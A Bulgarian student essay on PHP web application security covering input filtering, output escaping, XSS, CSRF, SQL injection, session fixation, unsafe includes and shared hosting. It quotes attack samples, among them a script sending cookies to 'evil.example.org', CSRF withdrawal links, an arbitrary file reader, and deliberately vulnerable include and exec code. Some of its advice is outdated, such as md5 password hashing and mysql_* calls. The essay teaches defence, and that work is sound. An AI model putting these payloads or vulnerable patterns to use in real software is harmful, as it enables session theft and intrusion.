1. Икономически университет - Варна
Реферат
по
Безопасност и защита на Мicrosoft мрежи
и приложения
на тема:
Защита при създаване на PHP-
приложения в Интернет
изготвил:
Диян Маринов Начев
специалност: ПИНФ-ДОВО проверил:
з.о. VII-ми курс Доц. д-р Стефан Дражев
фак.№: 5876
2. Съдържание
1. Основни правила и практики за защита 4
2. Формуляри и URL 7
3. Бази данни и SQL 11
4. Сесии и бисквитки (cookies) 12
5. Допълнителни елементи на кода 14
6. Системни команди 16
7. Автентификация и упълномощаване 17
8. Споделен хостинг 19
9. Примери 20
3. Неприятен страничен ефект от бързото разрастване на Интернет е ,че
безопасността на личния ни и професионален живот е изложена на риск.
Колкото по-свързан става светът, толкова по-проблемна става сигурността.
Най-критични са самите уеб сървъри, които взаимодействат директно с
потребителите, обменят данни, извършват финансови транзакции и др. PHP е
един от най-популярните езици за уеб разработки. Проблемите със
сигурността при разработването на уеб приложения с PHP произтичат основно
от неговото неправилно и незащитено използване от разработчиците
Всеки разработчик прави грешки, които в един момент могат да доведат
до пробив в сигурността. Елементът display_errors може да бъде
настроен чрез стойностите stderr и stdout , които указват съответно
дали грешките да бъдат скривани или показвани на клиента. Показването на
грешките заедно със стандартния изход може да се използва при разработва -
нето на приложенията, но никога на онлайн работещи сървъри, понеже
детайлизираната информация, която се предоставя, може да бъде видяна от
злонамерен потребител. Въпреки това при настроен изход на stderr,
грешките могат да бъдат докладвани на място недостъпно за потребителите
чрез log_errors = On/Off и error_log = location, както и
нивото на докладване на грешките чрез error_reporting(E_ALL –
всички грешки) функцията. Всяко поведение при докладването на грешки
може да се модифицира на всяко ниво, така че ако приложението е на обща
хост-машина или на друго място, където промените в php.ini файла са
невъзможни, тези настройки могат да се зададат чрез следния код:
<?php
ini_set(‘error_reporting’,E_ALL);
ini_set(‘display_errors’,’stderr’);
ini_set(‘log_errors’,’On’);
ini_set(‘error_log’,’usr/local/apache/logs/error_log’);
?>
Трябва да се има в предвид обаче, че при наличие на фатални грешки този код
няма да бъде изпълнен. PHP предлага и функцията
set_error_handler(my_error_handler), с която да се дефинират
собствени функции за работа с грешки.
4. Основни правила и практики за защита
Защитата в дълбочина е добре познато правило сред професионалистите
в областта на защитата. Изразява се в разработването на резервна защита.
Въпреки че основната защита трябва да не се проваля, един резервен план
може да се окаже определящ в критична ситуация. Например повторно
удостоверяване на самоличността преди извършване на критични действия
може да възпрепятства неудостоверен потребител представящ се, по някакъв
начин, за друг потребител да извърши неоторизирани действия.
Най-малка привилегия означава да не се дават ненужни привилегии на
потребителите, като по този начин се минимизира риска и се повишава
сигурността. Минимизирането на риска е ключов компонент при разработва-
нето на защитени приложения.
Простото е красиво. Сложността поражда грешки, а грешките могат да
създадат слабости в сигурността. Поради тази причина простотата е важна
характеристика на едно защитено приложение. Ненужната сложност е ненужен
риск.
Намаляване на публичното показване се изразява в следене на данните
изложени на показ при комуникациите към клиенти и бази данни. Основната
среда за публично излагане на данните е Интернет поради неговата
общодостъпност. Публичното излагане на данни не винаги представлява риск,
въпреки това трябва да бъде сведено до минимум. Ако например потребител
въвежда платежна информация трябва да се използва SSL, за да се защитят
данните от кредитната карта докато пътуват от клиента до сървъра. Ако се
визуализира номера на кредитната карта на страница за потвърждение, тя също
трябва да се защити със SSL понеже това означава, че номера се връща
обратно към клиента. В този случай номера може да не бъде изцяло
визуализиран, като се показва само част от него или се използва друг подход.
За да се минимизира публичното показване на деликатни данни, първо трябва
да се определи кои данни са деликатни, след което да се следят и елиминира
всеки ненужен показ.
Балансиране на риска и използваемостта е установена практика, която
изсква да се обмислят незаконните и легитимните употреби на приложението
от потребителите. Подходящият баланс може да бъде постигнат, като се
използват прозрачни за потребителите защити или такива, които са им добре
познати и не представляват особено неудобство за тях. Осигуряването на
потребителско име и парола за достъп например е защита, с която повечето
потребители са свикнали.
Следенето на данни - какви са, къде се намират, от къде идват и къде
отиват е нужно за всеки разработчик на PHP приложения, за да бъдат те
5. максимално защитени в интернет средата. Суперглобални масиви като
$_GET, $_POST и $_COOKIE ясно разпознават входящата информация от
потребителя, а строго установената практика за именуване помага за следенето
на оригинала на всички данни в кода. Важно е също да се знае къде данните
излизат от приложението. При използване на echo например данните се
изпращат на клиента, а при използване на mysql_query(), данните се
изпращат към базата данни дори когато целта на заявката е извличане на
данни.
Филтрирането на входяща информация е един от основните процеси при
защитата на уеб приложенията. Чрез него се доказва валидността на данните и
по този начин се елиминира риска от използване на неправилни данни, на
които неоснователно се има доверие. Филтрирането на входящата информация
се състои от три стъпки - идентифициране, филтриране и разграничаване на
филтрирани от замърсени данни. Под входяща информация се има предвид
всички данни, които възникват на отдалечен източник. Данните от клиента са
лесни за разпознаване понеже се запазват в суперглобални масиви като $_GET
и $_POST. Друга входяща информация обаче може да бъде по-трудна за
разпознаване. Например $_SERVER съдържа елементи, които могат да се
обработват от клиента и не винаги е лесно да се определи кои от тях
представляват входяща информация затова е най-добре да се приеме целият
масив за входяща информация. В други случаи това, което се определя като
входяща информация, може да бъде въпрос на лично мнение на разработчика,
в зависимост от това къде предпочита тя да бъде съхранявана – на отдалечен
източник или в част от приложението.
След идентифицирането на информацията, невалидните данни трябва да
бъдат спрени, като за това могат да бъдат използвани разнообразни подходи.
Най-сигурен начин е данните да бъдат проверявани без да се правят опити те
да бъдат коригирани. Потребителите трябва да могат да въвеждат само
валидни данни, в противен случай е възможен пробив в сигурността.
Последната стъпка е да се използва процедура за именуване или друга
установена практика за надеждно разграничаване на филтрираните от
замърсените данни. Например всички филтрирани данни могат да бъдат
съхранявани в масив $clean като този масив винаги се инициализира празен
и като допълнение може да се забранят всички променливи със същото
наименование от отдалечени източници. След проверка дали данните от
$_POST например са каквито очакваме, те се прехвърлят в $clean и така те
могат да бъдат използвани на други места в приложението.
6. Декодирането на изходяща информация се извършва по същия начин
като при филтрирането – идентифициране, декодиране и различаване на
декодираните данни от тези, които не са. Важно е да се декодират само
филтрирани данни. За да се разпознае изходящата информация към клиента се
търсят низове като echo, print, printf, <?= в кода.
За декодирането на информация предназначена за най-често срещаното
направление – клиента, съществува вградената функция htmlentities(),
която взима низ и връща на клиента модифицираната му версия.
За да се различат декодираните от недекодираните данни е желателно да
се използва процедура за именуване. За данни, които ще се изпращат на
клиента процедурата е подобна на тази при филтрирането. Декодираните с
htmlentities() данни се съхраняват в масив $html, който се
инициализира празен и може да съдържа само филтрирани и декодирани
данни.
<?php
$html = array( );
$html[‘username’] = htmlentities($clean[‘username’]);
echo “<p>Welcome back, {$html[‘username’]} </p> ”;
?>
Чрез използване на $html[‘username’], при изпращането на името на
клиента можем да сме сигурни, че специалните символи не се обработват от
браузъра.
Друга популярна дестинация е базата данни. За MySql най-добрата
декодираща функция е mysql_real_escape_string(), като принципът
на използване е същия.
7. Формуляри и URL
Формуляри и данни
Формулярите осигуряват описание на приложението, като посочват с
какви данни работи то. Данните от формуляри могат да бъдат изпратени до
приложението чрез URL(метода GET например) или в съдържанието на
заявката(POST). Когато е използван методът GET, браузърът изпраща данните
(потребител и парола например) от формуляра, както URL низът за заявка:
GET /login.php?username=user&password=pass HTTP/1.1
Host: example.org
След предоставяне на формуляра за обработка, браузърът е пренасочен на
http://example.org/login.php?username=user&password=pass
Когато във формулярът е използван метода POST, данните не се съдържат в
низа за заявка на URL адреса, а в съдържанието на заявката:
POST /login.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=user&password=pass
Семантични атаки на URL
Повечето приложения за регистрация имат и механизъм за промяна на
забравена парола. Обикновено се използва въпрос и отговор дефинирани при
регистрацията на потребителя. Следният формуляр изисква от потребителя
алтернативен електронен адрес, а името на сметката се идентифицира в скрита
променлива на формуляра:
8. <form action="reset.php" method="GET">
<input type="hidden" name="user" value="user" />
<p>Please specify the email address where you want your
new password sent:</p>
<input type="text" name="email" /><br />
<input type="submit" value="Send Password" />
</form>
Скриптът reset.php има цялата информация, необходима за
възстановяване на паролата и изпращане на писмо с име на акаунта, на който
да бъде възстановена паролата, и електронния адрес, на който да се изпрати
новата парола. Ако потребителят отговори правилно на въпроса, той се смята
за легитимен притежател на акаунта и при въвеждане на алтернативен
електронен адрес, например user@example.org, ще бъде препратен на следния
URL адрес: http://example.org/reset.php?user=user&email=user@example.org
Понеже във формулярът е използван метода GET, този потребител може да
промени стойността на потребителя в заявката, например user=dido, и ако
reset.php има доверие на тези данни, новата парола ще бъде генерирана от
акаунта на dido и изпратена на user@example.org, позволявайки на user да
присвои акаунта на dido. Това може да се избегне лесно, ако се използват
сесии за съхранение:
<?php
session_start();
$clean = array();
$email_pattern = '/^[^@s<&>]+@([-a-z0-9]+.)+[a-
z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
$user = $_SESSION['user'];
$new_password = md5(uniqid(rand(), TRUE));
if ($_SESSION['verified'])
{
/* Update Password */
mail($clean['email'], 'Your New Password',
$new_password);
}
}
?>
9. Атаки при качване на файлове
Предоставянето на възможност за качване на файлове на сървъра от
потребителите е широко разпространено, но представлява още един проблем
за сигурността.
Обикновен формуляр за качване на файл се състои от HTML и PHP код.
HTML формуляра се предоставя на клиента, а PHP скрипта обработва
качването. Когато PHP получи POST заявка ще създаде временен файл с
произволно име и ще попълни глобалната променлива $_FILE с информация
за качения файл – име, тип, размер, временното име. Функцията
move_uploaded_file() ще премести този файл на посочено от
потребителя място. Ако то е под root директорията, файлът ще може да бъде
извикан чрез URL заявка. При липса на ограничения за типа на качваните
файлове, той може да бъде PHP или .NET със злонамерен код.
Възможно е обаче, дори при дефинирани ограничения за типове файлове,
разработчика да бъде излъган от типа на файла предоставен от $_FILE,
понеже тази информация идва от клиента, а в случай че нарушител използва
друго приложение способно да изпраща HTTP-POST заявки, типа може да
бъде фалшифициран. Най-добрите практики за защита са:
- Да се дефинира .htaccess файл с правила за разрешени файлови разширения
- .htaccess трябва да бъде в родителска директория спрямо качените файлове
- Съществуващите файлове не трябва да могат да бъдат заменяни с нови
- Не трябва да се разчита на валидизация на типа само от клиентска страна.
Cross-site криптиране (XSS)
Всяко уеб приложение, което визуализира входяща информация е
изложено на риск от XSS атака. За да бъде защитено едно такова приложение
то трябва правилно да филтрира и декодира тази информация. В противен
случай е възможно въвеждането от нарушител в едно поле за търсене
например:
<br><br>Please login with the form below before
proceeding:<form action="destination.php">
<table><tr><td>Login:</td>
<td><input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20
name=password></td></tr></table><input type=submit
value=LOGIN></form>
10. което при отваряне от друг потребител би довело до показване на фалшив
формуляр за попълване на данни за автентификация, както и при евентуално
попълване от страна на потребителя - тяхното изпращане на място указано от
нарушителя.
XSS атаките са най-общо три вида:
Директни: Атакуващият предоставя връзка или друг вид „маскиран“ код
към клиента. Когато клиента последва такава връзка той попада на
оригиналният уебсайт на дадената услуга, но вече с модифициран от
атакуващия код. Възможно е и възползването от уязвимост на софтуера, с
който жертвата преглежда подаденото му съобщение, с цел атакуващия да
добие достъп до неговата административна част. Директните атаки се
реализират най-често чрез изпращане на писма по електронната поща към
жертвата или чрез съобщения в различни чат приложения.
Статични: Атакуващият успява да вмъкне нежелания код в база данни и
само изчаква жертвата сама да отвори уязвимата страница. Това са най-честите
атаки при т.нар. социални мрежи – форуми, блогове, дискусионни групи, и т.н.
DOM: Това са XSS атаки от т.нар. локално ниво. Обикновено се използва
уязвимост в скрипт на продукта, чрез който самият софтуер да предизвика
директна XSS атака към жертвата.
Почти няма приложение в Интернет, което да няма или да не е имало XSS
уязвимост. В днешно време, с навлизането на все повече технологии като
Action Script на Flash или AJAX скриптовете, XSS атаките все повече добиват
популярност. На практика всички тези проблеми се зараждат в момента, когато
сървърите придобиват функционалност за директно изпълнение на код при
клиента (напр. Javascript).
Cross-site фалшификати на заявки (CSRF)
CSRF фалшификатът на заявка е вид атака, която позволява на един
нарушител да изпраща произволни HTTP заявки от името на жертвата. Понеже
заявката се изпраща от жертвата, а не от нарушителя, е много трудно да се
определи кога една заявка е CSRF атака. За разлика от XSS, където браузърът
се доверява на сайт с инжектиран скрипт, в този случай сайтът се доверява на
браузър, чиято заявка е модифицирана от трето лице. Това може да бъде
направено чрез вграден източник като изображение. Ако например в един сайт
има вградено изображение по този начин – <img
src="http://bank.example.com/withdraw?account=Victim&amo
unt=1000000&for=Hacker"> или линк във форум-<a
href="http://bank.example.com/withdraw?account=Victim&am
ount=1000000&for=Hacker”> , и банката на жертвата пази данните за
11. автентификация в бисквитка, то изискването на този ресурс от клиентски
браузър би довело до извършване на транзакция към сметка на нарушителя.
Разбира се има много препятствия пред един нарушител за да извърши такава
атака. Той трябва да уцели правилно входните данни и ако използваният от
банката метод е $_POST или има скрити идентификационни данни включени в
заявката, които нападателя няма как да знае, тази атака ще пропадне.
Бази данни и SQL
Открита информация за достъп
Една от основните грижи при използването на бази данни е разкриването
на информацията за достъп. Потребителското име и парола могат да се
съхраняват в отделен файл db.inc например:
<?php
$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = '127.0.0.1';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>
Понеже Apache няма определен специален тип на съдържането асоцииран с
.inc файлове, ако db.inc се намира под главната директория, ще бъде възможно
извикването на неговото съдържание като обикновен текст, чрез URL заявка.
Например http://www.example.com/db.inc . По тази причина такива файлове
могат да се намират на друго място и да бъдат включвани или изисквани чрез
include и require. Може също да се настрои Apache сървърът да
отхвърля заявки за .inc ресурси:
<Files ~ ".inc$">
Order allow,deny
Deny from all
</Files>
12. SQL инжектиране
SQL инжектирането е една от най-често срещаните уязвимости в PHP
приложенията. Това се дължи на провал от страна на разработчика при
филтрирането и декодирането на данните от и към базата данни. Като начало
една защита може да бъде изпозлването на имена във формуляра,
несъответстващи на колони от базата данни, тъй като един нарушител може да
разгледа HTML сорса и да добие представа за структурата на базата данни.
Още по-надеждна защита е подправянето на потребителската парола с низ,
който е уникален за приложението:
<?php
$salt = 'SHIFLETT';
$password_hash = md5($salt . md5($_POST['password'] .
$salt));
?>
Използването на mysql_erorr() e полезно при разработката, но при
въвеждане на кавичка за име и mypass за парола например, върнатата грешка
може да разкрие съществена информация, както за структурата на базата
данни, така и за начина на филтриране и декодиране на данните.
Ако се използва библиотека, която предлага ограничителни параметри
или символи, които могат да се заменят с други от списък (PEAR::DB, PDO)
това ще бъде допълнителна защита, тъй като данните няма да могат директно
да манипулират формата на заявката.
Сесии и бисквитки
Кражба на бисквитка може да се осъществи чрез XSS атака. В един
обикновен формуляр за въвеждане на коментар от потребител
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10"
cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
13. и comment.php
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
може да бъде въведен от потребител следният скрипт:
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
което практически означава, че този потребител е добавил код към
приложението, карайки останалите потребители неволно да изпращат своите
бисквитки на evil.example.org където steal.php ще има достъп до
тях. Това лесно може да бъде избегнато ако са спазени описаните, в първа
точка, основни правила за филтриране и декодиране на информацията.
Открити данни от сесия
Активирането на SSL е практичен и полезен начин за намаляване на
риска от разкриване на данните, които се обменят между клиента и сървъра, и
това особено много важи за приложения, които обменят секретни данни с
клиента. SSL осигурява ниво на сигурност над HTTP, така че цялата
информация в HTTP заявките и отговорите да бъде защитена. Самият сесиен
склад може да бъде криптиран така, че сесийните данни да не могат да се
прочетат без ключ. В PHP това може да се направи чрез
session_set_save_handler() и написване на собствен склад за
съхраненние на сесии и функции, кодиращи сесийните данни за съхранение и
декодиращи тези за четене.
Фиксирани сесии
Важно значение по отношение на сесиите има секретният характер на
сесийния идентификатор. Ако той се пази в тайна, не съществува практически
14. риск от отвличане на сесия. Има три основни метода, чрез които нарушител
може да се сдобие с валиден идентификатор - предсказване, улавяне,
фиксиране. PHP генерира случаен идентификатор, така че предсказването му
не представлява практичеки риск. Улавянето му е по-често срещано затова
намаляването на публичното излагане чрез SSL намалява този риск.
Фиксирането на сесии е вид атака, която подмамва потърпевшия да използва
сесиен идентификатор посочен от нарушителя например:
<a
href="http://example.org/index.php?PHPSESSID=1234">Click
Here</a>
или пренасочване на протоколно ниво
<?php
header('Location:
http://example.org/index.php?PHPSESSID=1234');
?>
Ако атаката е успешна, нарушителят ще избегне необходимостта от
предвиждане или улавяне на валиден сесиен идентификатор и ще може да
стартира още по-опасни атаки. Това може да бъде предотвратено чрез
session_regenerate_id() и подновяване на идентификатора веки път
при промяна на нивото на привилегия:
<?php
$_SESSION['logged_in'] = FALSE;
if (check_login())
{
session_regenerate_id();
$_SESSION['logged_in'] = TRUE;
}
?>
Допълнителни елементи на кода
Основна грижа, що се отнася до допълнителните елементи на кода, е
публичното излагане на сорс кода. Това до голяма степен се дължи на
следните често срещани ситуации:
- Допълнителните елементи използват разширение .inc
- Допълнителните елементи се съхраняват в главната директория.
15. - Apache не може да разбере какъв тип ресурс представлява даден файл с
разширение .inc
- Apache има DefaultType(тип по подразбиране) text/plain.
При това положение допълнителните елементи могат да бъдат достъпни чрез
URL адрес. Освен това те не са анализирани синтактично от PHP, а се третират
като обикновен текст, което води до визуализиране на сорс кода в браузъра на
потребителя.
Възможно е също използването на скрити URL адреси след
автентификация например:
<?php
$authenticated = FALSE;
$authenticated = check_auth();
/* ... */
if ($authenticated)
{
include './sensitive.php';
}
?>
Поради това, че sensitive.php се намира в главната директория, той може да
бъде отворен директно от браузър и без автентификация, чрез извикване на
неговия URL адрес.
Много ситуации изискват употребата на допълнителни динамични
елементи на кода, където част от пътя до файла или името му се съхраняват в
променлива:
<?php
include "/cache/{$_GET['username']}.html";
?>
Въпреки че този подход си има предимства, той предоставя перфектна
възможност нарушителят да избере кой от кешираните файлове да бъде
визуализиран чрез промяна на username в URL адреса:
http://example.org/index.php?username=filename
Друга опасна ситуация е използването на замърсени данни като главна
част от една динамична структура:
16. <?php
include "{$_GET['path']}/header.inc";
?>
Благодарение на allow_url_fopen елемента на PHP, който е активиран по
подразбиране, могат да се добавят ресурси различни от файлове:
<?php
include 'http://www.google.com/';
?>
Ако този сайт беше на нарушител, щеше да е възможно добавянето на .inc
файл например.
За да защитим едно от показаните по горе ситуации, допълнителните
елементи на кода трябва да се съхраняват извън главната директория и да се
използват само филтрирани данни в операторите include и require.
Системни команди
Използването на системни команди е опасно действие и това важи най-
вече в случаите, когато се използва отдалечена информация, за да се
конструира командата за изпълнение.
<?php
$last = exec('ls', $output, $return);
print_r($output);
echo "Return [$return]";
?>
Ако при конструиране на низа за изпълнение на командата се използват
замърсени данни, нарушителят може да изпълни произволни команди.
По тази причина използването на shell команди не се препоръчва, но в случай
че това се налага, данните за конструиране на низа за изпълнение трябва да са
филтрирани и изхода винаги декодиран:
17. <?php
$clean = array();
$shell = array();
/* Филтриране на входа ($command, $argument) */
$shell['command'] = escapeshellcmd($clean['command']);
$shell['argument'] = escapeshellarg($clean['argument']);
$last = exec("{$shell['command']} {$shell['argument']}",
$output, $return);
?>
Автентификация и упълномощаване
Атака на грубата сила
При атаката на грубата сила се проверяват всички възможности за
автентификация, без да се анализира кои от тях са най-вероятни – изброяват се
всички възможности. От гледна точка на контрола за достъп при такава атака,
нарушителят опитва да се регистрира, правейки много голям брой опити. В
повечето случаи се използват валидни потребителски имена и единственото,
което се отгатва, е паролата. Ограничаването на броя на опитите за
автентификация е достатъчно ефективна защита, но нарушителят трябва да
бъде идентифициран без да се навреди на легитимните потребители.
Проследяване на паролата
Използването на SSL е ефективен начин за защита на HTTP заявките и
техните отговори от публично разкриване, в случай че трафикът е наблюдаван
от нарушител. Един защитен формуляр би изглеждал по следния начин:
<form action="https://example.org/login.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" /></p>
</form>
18. Атаки на повторенията
Атаката на повторенията, която понякога се нарича атака на
представянето, представлява всяка атака, при която нарушителят препраща
данни, които преди това са били изпратени от потребителя, за да си осигури
достъп или други привилегиии, които този потребител притежава. За да се
защити приложението от такава атака, трябва да се затрудни нарушителя при
прихващане на данни, които могат да се използват за достъп до защитени
ресурси. За целта трябва да се избягва употребата на такива данни, както и да
се ограничи публичното им излагане.
Постоянни регистрации
Постоянната регистрация е механизъм, при който автентификацията
между сесиите на браузъра остава постоянна. С други думи, потребител, който
се регистрира днес и остава регистриран и на следващия ден, дори ако срокът
между сесиите му е изтекъл. Този метод повишава производителността, но
намалява сигурността. Това е така защото се използва бисквитка за постоянна
регистрация. За да се предотврати публичното излагане на потребителско име
и парола в бисквитката, вместо тях могат да се използват втори идентификатор
(identifier), признак за постоянна регистрация(token) и време за
прекъсване на постоянна регистрация(timeout). Чрез генериране и
съхраняване на втори идентификатор заедно с признака може да се създаде
бисквитка, която не издава информацията за автентификация на потребителя:
<?php
$salt = 'SHIFLETT';
$identifier = md5($salt . md5($username . $salt));
$token = md5(uniqid(rand(), TRUE));
$timeout = time() + 60 * 60 * 24 * 7;
setcookie('auth', "$identifier:$token", $timeout);
?>
Додбре е срокът на бисквитката да изтича след седмица или по-малко, да
работи само за една автентификация, след което да се изтрива или регенерира.
Друго полезно указание е да се изисква парола всеки път преди да бъде
извършено важно действие.
19. Споделен хостинг
Публично разкриване на сорс код
Ако един сайт се намира на споделен сървър, обикновен PHP скрипт,
написан от друг разработчик на сървъра може да чете произволни файлове:
<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>
Чрез малко по-сложен скрипт може да бъде разгледана цялата файлова система
Най-добрата практика в такъв случай е всички деликатни данни да се пазят в
база данни. Разбира се тук изниква въпроса къде да се пазят данните за достъп
до базата данни. Освен съхраняването на такъв файл извън главната
директория, той трябва да има права за четене само от администратора и да
има следния формат:
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
По такъв начин информацията за достъп до базата данни ефективно се
предпазва от злонамерен скрипт. Този файл следва да бъде добавен от
httpd.conf чрез Include "/path/to/db.conf". По този начин
родителския процес на Apache може да прочете конфигурационния файл
понеже работи като root, докато дъщерният, изпълняващ заявките, не може. В
PHP има директива наречена save_mode. Ако е активирана, се прави
допълнителна проверка, дали даден файл, върху който ще се оперира, е на
същия притежател като скрипта, който ще бъде изпълнен. Това обаче не се
отнася до скриптове написани на други езици или скриптове създадени от
други скриптове, които автоматично стават притежание на сървъра и
получават достъп до неговите файлове.
За да бъде максимално защитено едно PHP приложение, освен основната
защита, трябва да бъде обмислена и защита в дълбочина, взимайки предвид
всички възможни ситуации, дори и ако тяхното възникване е малко вероятно.
Сравниетлно нова защита е целият код на уеб сайта да се криптира с помоща
инструменти като HTML Guardian, PHPCipher и много други, като по този
начин се предотвратяват голяма част от посочените заплахи.
